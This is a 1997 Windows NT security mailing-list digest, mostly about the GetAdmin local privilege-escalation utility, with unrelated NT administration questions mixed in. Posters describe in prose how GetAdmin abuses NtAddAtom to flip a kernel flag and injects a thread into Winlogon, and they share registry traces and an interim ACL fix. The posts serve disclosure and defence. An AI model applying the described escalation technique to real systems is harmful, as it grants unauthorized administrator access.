that it receives. The hash is also incremented by one every millisecond.

I have read a paper where it proposes that it might be possible to spoof a
tcp connection to a linux machine if the attacker could accurately guess
the round trip time between his machine and the attacked machine.. And
from reading LeBlanc's measurements I was further assured that this might
be entirely possible. However, after studying random.c, it appears that
this would be a much more difficult task than simply guessing the round
trip time.. you would also have to be able to reverse the hashing
algorithm, which is quite a difficult task unless you have some parallel
processing power handy... And you will have to return your guess before
linux closes the connection.

So, basically, I am saying that the numbers generated by sending/receiving
packets from one dest/source ip/port combination to measure sequence
predictability of a target OS might be misleading, depending on the
operating system. For linux, I am sure that if you look at the sequence
numbers given to your sequence probers for different port combinations,
the rate of predictability will be FAR beneath 5%. It is possible that
there might be a similar sequence number generator in place for NT. We
can only hope the people in Redmond thought of that :)

-vermont@gate.net
 Always accepting donations of money, food, vehicles, and trips around the
 world..

I did some looking around on this... additional details are:

Must be run locally on the server in question, some say it screws up the
ACLs on the machine as well. The utility was posted in several news groups.

See end of this message for a follow-up temporary fix.

BTW: Apologies for cross-posting if this annoys anyone. Just thought you
all should know. Haven't seen this thread on the NTSecurity email list
though I see David LeBlanc cross-posted his partial fix to it. (Haven't
seen it either) If his partial fix does not come through, lemme know and
I'll cross post it too.

>Date: Fri, 4 Jul 1997 19:54:00 -0400
>Reply-To: Russ 
>Sender: Windows NT BugTraq Mailing List 
>From: Russ 
>Subject: Alert: Utility allows any user to become a member of local
Admini
> strators group.
>To: NTBUGTRAQ@RC.ON.CA
>
>Today a utility was posted publicly which allows any user on an NT
>system to become a member of the Administrators group of that system.
>Testing is currently underway to determine the extent of the utilities
>capabilities (e.g. whether its possible to become a domain Administrator
>on a PDC or BDC). It is not possible to use the utility to make a domain
>user a member of the domain administrators group, but it does work on
>local accounts.
>
>The utility requires no privileges, beyond those any normal user would
>have, to allow it to do its work.
>
>Microsoft have been notified (via email and Premiere support) and
>supplied copies of the utility.
>
>Here are David LeBlanc's initial comments;
> This utility consists of a DLL and an .exe, which adds a user to the
> administrator group. The DLL contains the imports LsaOpenPolicy(),
>and
> LsaClose(), which leads me to believe that it is opening the LSA
>object,
> and has managed to manipulate it in some manner, perhaps by
>intercepting
> a system call.
>
> This utility only works against a local account, and seems to have no
> effect vs. a domain account.
>
> It also creates a registry key: HKLM\Software\AntiShut, which will
>give an
> indication if it has been run. This key is created every time the app
>has
> been run, regardless of whether it succeeds.
>
> I'm still investigating how it works, what it does, etc.
>
> David LeBlanc
> dleblanc@mindspring.com
>
>Cheers,
>Russ
>R.C. Consulting, Inc. - NT/Internet Security
>owner of the NTBugTraq mailing list:
>http://ntbugtraq.rc.on.ca/index.html
>

Hello, does anyone else get the death screen when trying to run
NTREGMON? NTW 4.0 SP3, 64 meg ram, 8.1 gigs, 133 Pent.
Thanks for your information in advance.
-- 
Casey Roberts
casey@amaonline.com
http://wtcis-web.wtamu.edu/casey
 ...---===---...
We all live in an endless subroutine...
In monitoring key updates and queries of GETADMIN.EXE with NTREGMON I
found a BUFOVRFLOW on lsass.exe prior to each key update. Could this be
another exploit based on buffer handling? 

BTW: This utility does work against domain accounts in the context of
adding users from another domain into the Administrators group on the
local machine. It feeds whatever is crammed into argv[1] into the
Administrators group.



13 lsass.exe OpenKey 0xE1237D40\Policy SUCCESS Key: 0xE18995C0 
14 lsass.exe OpenKey 0xE1237D40\Policy\SecDesc SUCCESS Key: 0xE16C9E60 
15 lsass.exe QueryValue 0xE1237D40\Policy\SecDesc BUFOVRFLOW 
16 lsass.exe CloseKey 0xE1237D40\Policy\SecDesc SUCCESS Key: 0xE16C9E60 
17 lsass.exe OpenKey 0xE1237D40\Policy\SecDesc SUCCESS Key: 0xE16C9E60 
18 lsass.exe QueryValue 0xE1237D40\Policy\SecDesc SUCCESS NONE 
19 lsass.exe QueryValue 0xE1237D40\Policy\SecDesc SUCCESS NONE 
20 lsass.exe CloseKey 0xE1237D40\Policy\SecDesc SUCCESS Key: 0xE16C9E60 
21 lsass.exe CloseKey 0xE1237D40\Policy SUCCESS Key: 0xE18995C0 
22 winlogon.exe OpenKey 0xE12232C0\SOFTWARE\AntiShut\Account
name SUCCESS Key: 0xE1302420 
23 winlogon.exe QueryValue 0xE12232C0\SOFTWARE\AntiShut\Account
name SUCCESS "NJDEV\CROULAND" 
24 winlogon.exe CloseKey 0xE12232C0\SOFTWARE\AntiShut\Account
name SUCCESS Key: 0xE1302420 
25 lsass.exe OpenKey 0xE1237D40\Policy SUCCESS Key: 0xE1302420 
26 lsass.exe OpenKey 0xE1237D40\Policy\SecDesc SUCCESS Key: 0xE18995C0 
27 lsass.exe QueryValue 0xE1237D40\Policy\SecDesc BUFOVRFLOW 
28 lsass.exe CloseKey 0xE1237D40\Policy\SecDesc SUCCESS Key: 0xE18995C0 
29 lsass.exe OpenKey 0xE1237D40\Policy\SecDesc SUCCESS Key: 0xE18995C0 
30 lsass.exe QueryValue 0xE1237D40\Policy\SecDesc SUCCESS NONE 
31 lsass.exe QueryValue 0xE1237D40\Policy\SecDesc SUCCESS NONE 
32 lsass.exe CloseKey 0xE1237D40\Policy\SecDesc SUCCESS Key: 0xE18995C0 
33 lsass.exe OpenKey 0xE1237D40\Policy SUCCESS Key: 0xE18995C0 
34 lsass.exe OpenKey 0xE1237D40\Policy\SecDesc SUCCESS Key: 0xE16C9E60 
35 lsass.exe QueryValue 0xE1237D40\Policy\SecDesc BUFOVRFLOW 
36 lsass.exe CloseKey 0xE1237D40\Policy\SecDesc SUCCESS Key: 0xE16C9E60 
37 lsass.exe OpenKey 0xE1237D40\Policy\SecDesc SUCCESS Key: 0xE16C9E60 
38 lsass.exe QueryValue 0xE1237D40\Policy\SecDesc SUCCESS NONE 
39 lsass.exe QueryValue 0xE1237D40\Policy\SecDesc SUCCESS NONE 
40 lsass.exe CloseKey 0xE1237D40\Policy\SecDesc SUCCESS Key: 0xE16C9E60 

>-----Original Message-----
>From: Jiva DeVoe [SMTP:jiva@devware.com]
>Sent: Saturday, July 05, 1997 4:51 AM
>To: ntsecurity@iss.net
>Subject: [NTSEC] Alert: Utility allows any user to become a member of
>localAdmini strators group.
>
>I did some looking around on this... additional details are:
>
>Must be run locally on the server in question, some say it screws up the
>ACLs on the machine as well. The utility was posted in several news groups.
>
>See end of this message for a follow-up temporary fix.
>
>BTW: Apologies for cross-posting if this annoys anyone. Just thought you
>all should know. Haven't seen this thread on the NTSecurity email list
>though I see David LeBlanc cross-posted his partial fix to it. (Haven't
>seen it either) If his partial fix does not come through, lemme know and
>I'll cross post it too.
>
>>Date: Fri, 4 Jul 1997 19:54:00 -0400
>>Reply-To: Russ 
>>Sender: Windows NT BugTraq Mailing List 
>>From: Russ 
>>Subject: Alert: Utility allows any user to become a member of local
>Admini
>> strators group.
>>To: NTBUGTRAQ@RC.ON.CA
>>
>>Today a utility was posted publicly which allows any user on an NT
>>system to become a member of the Administrators group of that system.
>>Testing is currently underway to determine the extent of the utilities
>>capabilities (e.g. whether its possible to become a domain Administrator
>>on a PDC or BDC). It is not possible to use the utility to make a domain
>>user a member of the domain administrators group, but it does work on
>>local accounts.
>>
>>The utility requires no privileges, beyond those any normal user would
>>have, to allow it to do its work.
>>
>>Microsoft have been notified (via email and Premiere support) and
>>supplied copies of the utility.
>>
>>Here are David LeBlanc's initial comments;
>> This utility consists of a DLL and an .exe, which adds a user to the
>> administrator group. The DLL contains the imports LsaOpenPolicy(),
>>and
>> LsaClose(), which leads me to believe that it is opening the LSA
>>object,
>> and has managed to manipulate it in some manner, perhaps by
>>intercepting
>> a system call.
>>
>> This utility only works against a local account, and seems to have no
>> effect vs. a domain account.
>>
>> It also creates a registry key: HKLM\Software\AntiShut, which will
>>give an
>> indication if it has been run. This key is created every time the app
>>has
>> been run, regardless of whether it succeeds.
>>
>> I'm still investigating how it works, what it does, etc.
>>
>> David LeBlanc
>> dleblanc@mindspring.com
>>
>>Cheers,
>>Russ
>>R.C. Consulting, Inc. - NT/Internet Security
>>owner of the NTBugTraq mailing list:
>>http://ntbugtraq.rc.on.ca/index.html
>>
>
I had a power failure the other day and Gracefull shut down my NT 3.51 (SP%)
Server since it is on a UPS. Normally this server is up without a reboot
for months at a time. Occasionally if it is rebooted, it is just restarted
quickly and comea back up just fine. When we have power outages is probably
the only time it gets shut down for more than a minute or so. This last
time and the time before when this has happened, I start it back up and it
just gets into the gui interface and pops a message up that says something
like "Gina dll has caused an unrecoverable error the system will now
reboot." If you wait long enough, it will come back with another error or
two saying "xxxxxxx.dll did not load (or initialize) properly." Then maybe
I haven't waited long enough, but after about 5-10 minutes it still seems to
be hung. The fix that I found seemed to be to start up with the "last know
good config". I know that gina.dll is a replacable dll for use with
different kinds of authentication (finger print, secure id card, retinal
scan, etc) but we haven't installed anything like that. Twice may not
extablish a clear pattern but it seems more than coincidence that the only
time this happens is when it is powered down for more than a few minutes.
This is really frustrating because I end up losing some of shares that I
created since the last reboot along with some config stuff like who was
granted or revoked RAS access since the last reboot. I don't think there is
some strange kind of boot security where after a extended power down,
security things are supposed to change. In fact I would have thought that
since the "last know good config" is set whenever you had your last
sucessful login that after it came back up and logged back in, I wouldn't
have that problem again. This is happening on a Compaq Proliant 5000, dual
P6-200 with 128MB RAM.. Has anyone seen this before or have an idea what
might be causing this? I'm stumped and can't find much in technet either.

 -Mike Poe
 PC/LAN Administrator
 Lattice Semiconductor Corp.



#include "Std_Disclaimer.h"

Hi there!

>Hello, does anyone else get the death screen when trying to run
>NTREGMON? NTW 4.0 SP3, 64 meg ram, 8.1 gigs, 133 Pent.

No, only if I use the Taskmanager to terminate it... =8-)

BTW: DON'T TRY IT! THE RESULT IS A BLUESCREEN!!!

greetings
Alex



There was an older version that used to do that to me, but a newer version 
fixed it. Unfortunately, I haven't used the program since sometime before 
sp3. The version I have is dated 3/4/97. I can send it to you if it's newer 
than what you have...

Don

-----Original Message-----
From: Casey Roberts [SMTP:casey@amaonline.com]
Sent: Saturday, July 05, 1997 12:17 PM
To: nt
Subject: [NTSEC] NTREGMON

Hello, does anyone else get the death screen when trying to run
NTREGMON? NTW 4.0 SP3, 64 meg ram, 8.1 gigs, 133 Pent.
Thanks for your information in advance.
--
Casey Roberts
casey@amaonline.com
http://wtcis-web.wtamu.edu/casey
 ...---===---...
We all live in an endless subroutine...
Casey Roberts wrote:
> 
> Hello, does anyone else get the death screen when trying to run
> NTREGMON? NTW 4.0 SP3, 64 meg ram, 8.1 gigs, 133 Pent.
> Thanks for your information in advance.

I have not yet had any problems with NT Regmon, but NT Filemon
will always blue screen after about 10-20 seconds. There was
a change to the regmon app when SP2 came out, since the earlier
version would not work on SP2. Could it be that you are using this
early version, instead of the most recent one?

FYI, my copy of NTRegMon is 39,936 bytes, 04 March 1997 22:18:42
and my copy of Regsys.sys is 22.208 bytes, 04 March 1997 22:20:46

Hope this helps

Ian.

> --
> Casey Roberts
> casey@amaonline.com
> http://wtcis-web.wtamu.edu/casey
> ...---===---...
> We all live in an endless subroutine...


:-------------------------------------------------------------:
: Ian_Cummings@cegelecproj.co.uk #include :
: CEGELEC Projects Ltd, Rugby, England, CV21 1BU :
: Opinions expressed are my own, not those of my employer :
:-------------------------------------------------------------:
Hey,

Does anyone know if MS Proxy does Network Address Translation (NAT)? If not 
out-of-the-box, then possibly an NT registry entry ..or two... or three.... 
(gotta be obscure)

I read the documentation and found no reference but inference to NAT like 
capability in the MS Proxy product.

Isn't it great that the acronym "LAT" lives. Must be a resurrection from 
some of the ex-Digital folks now at MS. VMS forever!!

Regards,

Robert Beazley
OCNS, Inc.

Dominique and I have continued to poke into this issue - this exploit
depends on users having read access to ntoskrnl.exe. If you change the ACL
on ntoskrnl to allow users execute only access, it stops it cold. I have
logged in, so this ACL change doesn't seem to hurt anything. Do note that
this isn't even remotely fully tested, and I have NO idea what could break.


David LeBlanc |Why would you want to have your desktop user, 
dleblanc@mindspring.com |your mere mortals, messing around with a 32-bit 
 |minicomputer-class computing environment?
 |Scott McNealy

In message <01BC8A15.337EDE30@beazley@ix.netcom.com> you write:
 > Does anyone know if MS Proxy does Network Address Translation (NAT)? If not 
 > out-of-the-box, then possibly an NT registry entry ..or two... or three.... 
 > (gotta be obscure)

Being a proxy ... no, it does not do NAT.

It will accept requests from a user's system and create a new connection
to forward the request to the external world (or whereever). External
systems will see the MS Proxy box as the originating IP address, not
that of the user's machine.

So:
* MS Proxy (more correctly, *any* proxy) will hide internal addresses
* but it does this not by using NAT techniques.

\Bernhard.
 -----Original Message-----
From: Bernhard Schneck 
To: The Man 
Cc: ntsecurity@iss.net 
Date: Sunday, July 06, 1997 2:05 PM
Subject: Re: [NTSEC] MS Proxy and NAT



>In message <01BC8A15.337EDE30@beazley@ix.netcom.com> you write:
> > Does anyone know if MS Proxy does Network Address Translation (NAT)? If
not
> > out-of-the-box, then possibly an NT registry entry ..or two... or
three....
> > (gotta be obscure)
>
>Being a proxy ... no, it does not do NAT.
>
>It will accept requests from a user's system and create a new connection
>to forward the request to the external world (or whereever). External
>systems will see the MS Proxy box as the originating IP address, not
>that of the user's machine.
>
>So:
>* MS Proxy (more correctly, *any* proxy) will hide internal addresses
>* but it does this not by using NAT techniques.

Sorry to go off on a tangent but is there a service that will do ip
masquerading from a range of "real" internet ips to an internal network of
192.168.x.x ips. So that when a computer tries to go out to the net, the NT
server gives it an 206.69.20.x ip.

Aymeric.

>
>\Bernhard.
>

>>
>>Does anyone know how to setup IIS ftp where when the actual NT
>>users ftp in they get their own home directory, as defined
>>in the User Manager, and not the ftproot directory?
>>
>>If this cannot be done, how does everyone support ftp for their
>>NT Users?
>>
>First create a group ftpuser. Make this the primary and only group for your
>ftp users. Give the group rights to access this computer from the network
>an log on locally.
>Within the IIS administration tool create virtual directories with read write
>access for the physical directories you want and last give the user 
>full controll for this directory. 
>
...
> 
> just name a alias with the same name as the user, like this
> if the users is 
> 
> jsmith 
> 
> then in the ftp dir list add:
> 
> /jsmith c:\users\jsmith
> 
> and that´s all :)
> 

The problem with this method remains that even though e.g. jsmith
gets to his named directory initially, he can cd and view the whole
directory structure under ftproot.

On many occasions, that is not desirable. Particularly for ISP use
the ftp server should support virtual hosts in a way or another.

ServU, WarFTP, maybe some other shareware FTP servers solve this problem,
but they are quite difficult to manage remotely.


Lassi Koikkalainen
_____ ___ __ lassi@eunet.fi Tech Sails |\ *--
____ / / / ___ ___ _/_ ___ EUnet Finland Oy puh (09) 478 4800*
___ /-- / / / / /___/ / ____ Merimiehenkatu 36 FI-00150 HELSINKI
__ /___ /___/ / / /___ /_ _____ PGP key: http://www.eunet.fi/staff/lassi/

The SID is generated upon installation of NT. The number seems to be what
ever you want - in other words, it doesn't have to be something only M$
only knows how to generate. The assembly caption of the code that creates
the SID is about 8K, just use something like SoftIce to debug the
installation routine. Once you connect the computer to the network, the
SId is propogated to other objects at that point.

On Thu, 3 Jul 1997, Rahim, Rauf wrote:

> Does anyone knows how the SID is generated and whether it is true that
> it is unique for every object for every installation of NT. I understand
> that User, Group, Computer and [domain|computer] SAM objects are
> identified by a SID. 
> 
> I did some research by using the getsid utility in NT4 ResKit on several
> install of NT 4 server and workstation both in a domain model and
> standalone setup and found the following:
> 
> The NT built-in groups gets exactly the same SID for every install of
> the NT and is as follows:
> 
> Administrators S-1-2-32-544
> Users S-1-2-32-545
> Guests S-1-2-32-546
> Power Users S-1-2-32-547
> Account Operators S-1-2-32-548
> Server Operators S-1-2-32-549
> Print Operators S-1-2-32-550
> Backup Operators S-1-2-32-551
> Replicator S-1-2-32-552
> 
> The Administrator and Guest user accounts and Domain Admins, Domain
> Users and Domain Guest gets the following SIDs:
> Administrator S-1-2-21-xxxx-xxxx-xxxx-500
> Guest S-1-2-21-xxxx-xxxx-xxxx-501
> Domain Admins S-1-2-21-xxxx-xxxx-xxxx-512
> Domain Users S-1-2-21-xxxx-xxxx-xxxx-513
> Domain Guests S-1-2-21-xxxx-xxxx-xxxx-514 
> 
> where xxx-xxx-xxx is a large 3 field decimal number representing the
> computer or the domain SAM.
> 
> The domain name and for standalone server or workstation the computer
> name which represents its own domain gets the following SID:
> Domain or Computer SAM S-1-2-21-xxxx-xxxx-xxxx--1
> 
> All the other objects which includes Users, Local and Global Groups get
> the following SID with the last field starting from 1000 for the first
> object and increasing by one for every new object:
> 
> User1 S-1-2-21-xxxx-xxxx-xxxx-1000
> User2 S-1-2-21-xxxx-xxxx-xxxx-1001
> Domain Group1 S-1-2-21-xxxx-xxxx-xxxx-1002
> 
> Regards
> 
> Rauf.Rahim@its.csiro.au
> ------------------------------------------------------------------------
> --------------------------------------
> Site IT Manager, CSIRO Information Technology Services
> PO Box 225, Dickson ACT 2602, Australia
> 

Does anyone know where I can find this utility for my own testing??

Thanks,

Andy

> I did some looking around on this... additional details are:
> 
> Must be run locally on the server in question, some say it screws up the
> ACLs on the machine as well. The utility was posted in several news
> groups.
> 
> See end of this message for a follow-up temporary fix.
> 
> BTW: Apologies for cross-posting if this annoys anyone. Just thought
> you
> all should know. Haven't seen this thread on the NTSecurity email list
> though I see David LeBlanc cross-posted his partial fix to it. (Haven't
> seen it either) If his partial fix does not come through, lemme know and
> I'll cross post it too.
> 
> >Date: Fri, 4 Jul 1997 19:54:00 -0400
> >Reply-To: Russ 
> >Sender: Windows NT BugTraq Mailing List 
> >From: Russ 
> >Subject: Alert: Utility allows any user to become a member of
> local
> Admini
> > strators group.
> >To: NTBUGTRAQ@RC.ON.CA
> >
> >Today a utility was posted publicly which allows any user on an NT
> >system to become a member of the Administrators group of that system.
> >Testing is currently underway to determine the extent of the utilities
> >capabilities (e.g. whether its possible to become a domain Administrator
> >on a PDC or BDC). It is not possible to use the utility to make a
> domain
> >user a member of the domain administrators group, but it does work on
> >local accounts.
> >
> >The utility requires no privileges, beyond those any normal user would
> >have, to allow it to do its work.
> >
> >Microsoft have been notified (via email and Premiere support) and
> >supplied copies of the utility.
> >
> >Here are David LeBlanc's initial comments;
> > This utility consists of a DLL and an .exe, which adds a user to the
> > administrator group. The DLL contains the imports LsaOpenPolicy(),
> >and
> > LsaClose(), which leads me to believe that it is opening the LSA
> >object,
> > and has managed to manipulate it in some manner, perhaps by
> >intercepting
> > a system call.
> >
> > This utility only works against a local account, and seems to have no
> > effect vs. a domain account.
> >
> > It also creates a registry key: HKLM\Software\AntiShut, which will
> >give an
> > indication if it has been run. This key is created every time the
> app
> >has
> > been run, regardless of whether it succeeds.
> >
> > I'm still investigating how it works, what it does, etc.
> >
> > David LeBlanc
> > dleblanc@mindspring.com
> >
> >Cheers,
> >Russ
> >R.C. Consulting, Inc. - NT/Internet Security
> >owner of the NTBugTraq mailing list:
> >http://ntbugtraq.rc.on.ca/index.html
> >
> 
> 





 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
 Andy Scoggins scoggins@progress.com
 Progress Software www.progress.com

 Dogs understand that instincts are better than asking 
 for directions......
> Which books would you recommend on NT4.0 Workstation & Server
> Security?

Thanks to all who replied. I got some answers through personal mail
as well. Almost everyone suggested the Windows NT Security Handbook
by Tom Sheldon, ISBN 0078822408.

 Dimitris

-- 
Dimitris Tsapakidis http://www.rabbit.co.uk/dimitris/
dimitris@alien.bt.co.uk Security Research, BT Labs, Ipswich, UK
I haven't had experience with that scenario, but I did once have to
reinstall NT from scratch after sticking a JAZ drive on a server. We
were able to read from the nonstriped drives just fine after
reinstalling. The drives that were striped (in software) had to be
reformatted and restriped.

Mike "Special Agent of Chaos" Swaim
Work: mpswaim@gdseng.com Home: swaim@phoenix.net
Disclaimer: I Lie

> -----Original Message-----
> From: Patrick Patterson [SMTP:cnss@accent.net]
> Sent: Thursday, July 03, 1997 8:41 AM
> To: ntsecurity@iss.net
> Subject: [NTSEC] Server to BDC?? and NTFS Question
> Question #2:
> 
> Scenario:
> 
> Server #1 3.51 with an internal Hard Drive C: (NTFS), external raid 5
> tower 
> D: (also NTFS)
> Server #2 3.51 with an internal Drive C: (NTFS)
> 
> Ok, the question is: is it possible, without loosing the permissions 
> and shares set up on Server 1 Drive D, to unplug it from Server one,
> and 
> plug it into server 2. (assuming that all hardware is in fact 
> compatible, etc., etc.) I'm not up on the internals of NTFS, but it 
> would seem to me that the file permissions and security would stay, 
> but the shares would be lost... am I correct?
> 
> 
<Hello there,
>
>I thought I'd share my findings with the net community. Hopefully
>someone will be able to fill in the gaps so that together we'll
>get the whole picture of what GetAdmin really does.

You've got what I hadn't figured out so far - now I think we can put it all
together - 

>* The hole: the system service NtAddAtom does not pay attention
> where it stores the result it returns. GetAdmin abuses this to
> set bit 0 of the byte at address NtGlobalFlag + 2.

This is why they had to open ntoskrnl.exe - they needed to look for the
entry point to NtAddAtom. What I don't understand is why they needed to sit
in a loop trying something 200+ times before it worked.

>* By setting this bit, it seems, the check for debug privileges
> is switched off in NtOpenProcess and NtOpenThread. Thus, everyone
> is able to open any process currently in the system.

I'm not sure about this - they do make the call to acquire debug rights, and
do get them. However, they do then open processes, and create threads when
that user doesn't have any rights to the process. I think it is
circumventing something other than the check for debug priviledge.

I'm not sure I agree that everyone can open all processes - have you
verified this? 

>* GetAdmin opens the Winlogon process and adds a suspended thread
> to it. After that, it does some fiddling with the stack of the
> newly created thread. Guess it inserts some code and a bogus
> return address to make calls to GASYS.DLL, which eventually grants
> the administrator privileges after the thread is resumed.

Once they get to that point, it is doing some fairly normal
CreateRemoteThread stuff to get a system process to run the call to add the
user to the admin group.

>That's where I've stopped investigating. Did anyone analyze beyond
>this point? Don't hesitate and throw your findings in.

If you've really got it, then there are some fairly serious implications -
this would mean that any call that doesn't check where it is writing could
have pulled this off. I presume it had to get down into kernel space to
accomplish this. This would imply that merely fixing NtAddAtom would be an
insufficient fix - what needs to be done is to prohibit anything from
writing that section of memory, kernel mode or not. I'd also guess that
what we're seeing is something which may have been intended for development
use - another possible fix is to completely disable the mechanism that bit
flags unless the OS is compiled with development defines. There is very
likely some centralized point that references that bit.

If the latter is the case, maybe we'll see a fairly robust fix very soon.

-----------------------------------------------------------
David LeBlanc | Voice: (770)395-0150 x138
Internet Security Systems, Inc. | Fax: (404)395-1972
41 Perimeter Center East | E-Mail: dleblanc@iss.net 
Suite 660 | www: http://www.iss.net/
Atlanta, GA 30328 |